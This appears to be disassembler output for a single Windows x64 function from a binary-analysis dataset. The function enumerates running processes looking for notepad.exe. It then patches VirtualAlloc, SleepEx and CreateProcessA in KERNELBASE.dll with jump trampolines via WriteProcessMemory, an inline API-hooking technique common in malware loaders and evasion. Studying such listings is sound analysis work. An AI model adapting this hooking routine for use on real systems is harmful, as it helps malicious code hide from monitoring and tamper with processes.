Function at 0x14004d1d0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x140067020]
xor rax, rsp
mov qword [rbp + 0x180], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14004d2a0
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14004d28e
nop
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x6c]
call fcn.14000d2b0
mov rcx, rbx
test eax, eax
je 0x14004d2ae
lea rdx, [rsp + 0x40]
inc edi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14004d230
movsxd rdi, edi
test rdi, rdi
je 0x14004d28e
mov ecx, 0x78a465c
mov qword [rsp + 0x30], 0xffffffffff676980
call fcn.14004e140
movzx ecx, ax
call fcn.140001150
lea rdx, [rsp + 0x30]
xor ecx, ecx
call fcn.140001169
sub rdi, 1
jne 0x14004d261
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
lea rcx, [0x140063970]
call fcn.1400010b0
jmp 0x14004d2a0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x48], 0
je 0x14004d2a0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.KERNELBASE.dll
mov qword [0x140067d30], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140067d08], rax
test rax, rax
je 0x14004d364
mov r8d, dword [0x140067d10]
lea rcx, [0x140067d14]
mov rdx, rax
call fcn.14000adc0
mov r8d, dword [0x140067d10]
lea rax, [0x14004dc70]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x32], rax
lea rcx, [0x140067d20]
mov word [rsp + 0x30], 0xb848
mov word [rsp + 0x3a], 0xe0ff
call fcn.14000adc0
mov r9d, dword [0x140067d10]
lea r8, [0x140067d20]
mov rdx, qword [0x140067d08]
mov rcx, qword [0x140067d30]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.KERNELBASE.dll
mov qword [0x140067d00], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.SleepEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140067cd8], rax
test rax, rax
je 0x14004d40d
mov r8d, dword [0x140067ce0]
lea rcx, [0x140067ce4]
mov rdx, rax
call fcn.14000adc0
mov r8d, dword [0x140067ce0]
lea rax, [0x14004d980]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x32], rax
lea rcx, [0x140067cf0]
mov word [rsp + 0x30], 0xb848
mov word [rsp + 0x3a], 0xe0ff
call fcn.14000adc0
mov r9d, dword [0x140067ce0]
lea r8, [0x140067cf0]
mov rdx, qword [0x140067cd8]
mov rcx, qword [0x140067d00]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.KERNELBASE.dll
mov qword [0x140067cd0], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateProcessA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140067ca8], rax
test rax, rax
je 0x14004d4b6
mov r8d, dword [0x140067cb0]
lea rcx, [0x140067cb4]
mov rdx, rax
call fcn.14000adc0
mov r8d, dword [0x140067cb0]
lea rax, [0x14004d4f0]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x32], rax
lea rcx, [0x140067cc0]
mov word [rsp + 0x30], 0xb848
mov word [rsp + 0x3a], 0xe0ff
call fcn.14000adc0
mov r9d, dword [0x140067cb0]
lea r8, [0x140067cc0]
mov rdx, qword [0x140067ca8]
mov rcx, qword [0x140067cd0]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call fcn.14004dea0
xor eax, eax
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400011a0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret